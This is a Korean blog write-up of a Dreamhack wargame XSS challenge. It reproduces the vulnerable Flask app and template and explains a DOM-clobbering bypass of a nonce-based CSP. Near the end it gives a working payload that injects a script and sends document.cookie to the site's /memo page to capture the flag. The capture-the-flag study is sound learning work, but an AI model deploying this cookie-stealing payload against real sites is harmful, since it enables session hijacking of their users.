https://dreamhack.io/wargame/challenges/438
#!/usr/bin/python3
from flask import Flask, request, render_template
from selenium import webdriver
from selenium.webdriver.chrome.service import Service
import urllib
import os
app = Flask(__name__)
app.secret_key = os.urandom(32)
nonce = os.urandom(16).hex()
try:
FLAG = open("./flag.txt", "r").read()
except:
FLAG = "[**FLAG**]"
def read_url(url, cookie={"name": "name", "value": "value"}):
cookie.update({"domain": "127.0.0.1"})
try:
service = Service(executable_path="/chromedriver")
options = webdriver.ChromeOptions()
for _ in [
"headless",
"window-size=1920x1080",
"disable-gpu",
"no-sandbox",
"disable-dev-shm-usage",
]:
options.add_argument(_)
driver = webdriver.Chrome(service=service, options=options)
driver.implicitly_wait(3)
driver.set_page_load_timeout(3)
driver.get("http://127.0.0.1:8000/")
driver.add_cookie(cookie)
driver.get(url)
except Exception as e:
driver.quit()
# return str(e)
return False
driver.quit()
return True
def check_xss(param, name, cookie={"name": "name", "value": "value"}):
url = f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}#{name}"
return read_url(url, cookie)
# CSP 에서 'strict-dynamic' 설정이 되어있음 : 동적으로 스크립트를 로드하는 것을 허용
# base에 대한 CSP 설정이 없어서 base 태그를 활용해도 XSS가 가능
@app.after_request
def add_header(response):
global nonce
response.headers['Content-Security-Policy'] = f"default-src 'self'; img-src https://dreamhack.io; style-src 'self' 'unsafe-inline'; script-src 'self' 'nonce-{nonce}' 'strict-dynamic'"
nonce = os.urandom(16).hex()
return response
@app.route("/")
def index():
return render_template("index.html", nonce=nonce)
@app.route("/vuln")
def vuln():
param = request.args.get("param", "")
return render_template("vuln.html", nonce=nonce, param=param)
@app.route("/flag", methods=["GET", "POST"])
def flag():
if request.method == "GET":
return render_template("flag.html", nonce=nonce)
elif request.method == "POST":
param = request.form.get("param")
name = request.form.get("name")
if not check_xss(param, name, {"name": "flag", "value": FLAG.strip()}):
return f'<script nonce={nonce}>alert("wrong??");history.go(-1);</script>'
return f'<script nonce={nonce}>alert("good");history.go(-1);</script>'
memo_text = ""
@app.route("/memo")
def memo():
global memo_text
text = request.args.get("memo", "")
memo_text += text + "\n"
return render_template("memo.html", memo=memo_text, nonce=nonce)
app.run(host="0.0.0.0", port=8000)
일반적인 XSS는 render_template 로 인해 막혀있고 render_template는 html로 랜더링 해주는 것이기 때문에 DOM-XSS 취약점이 가능
vuln.html
{% extends "base.html" %}
{% block title %}Index{% endblock %}
{% block head %}
{{ super() }}
<style type="text/css">
.important { color: #336699; }
</style>
{% endblock %}
{% block content %}
<script nonce={{ nonce }}>
window.addEventListener("load", function() {
var name_elem = document.getElementById("name");
name_elem.innerHTML = `${location.hash.slice(1)} is my name !`;
});
</script>
{{ param | safe }}
<pre id="name"></pre>
<!-- pre 태그보다 param으로 전송한 fragment 데이터가 먼저 로드된다. 따라서 pre 태그와 같은 id로 스크립트 태그를 frament로 작성해서 전송하면 DOM Clobbering이 발생 -->
{% endblock %}
vuln page 에서 param에 대한 아이디어를 얻을 수 있다.
스크립트를 삽입해보면, 실행되는 것을 확인할 수 있다. 처음에 여기 페이지에서 스크립트로 flag를 출력하려고 시도를 다양하게 했는데 잘 되지않았다.
위 코드에서 본 대로, flag 메뉴에서
<script id=name></script>, location.href='/memo?memo='+document.cookie;//
제출하면 good 이라는 alert가 뜨고 memo에 flag가 저장되어 있는 것을 확인할 수 있다.
반응형
'STUDY > Dreamhack' 카테고리의 다른 글
[Dreamhack] CSP Bypass(web,2) (0) | 2024.07.13 |
---|---|
[Dreamhack] Long Sleep(rev, 2) (0) | 2024.07.10 |
[WEB] Switching Command (0) | 2024.06.23 |
[rev] Summer Fan (level2) (0) | 2024.06.15 |
[web] Dream Gallery (level2) (1) | 2024.06.14 |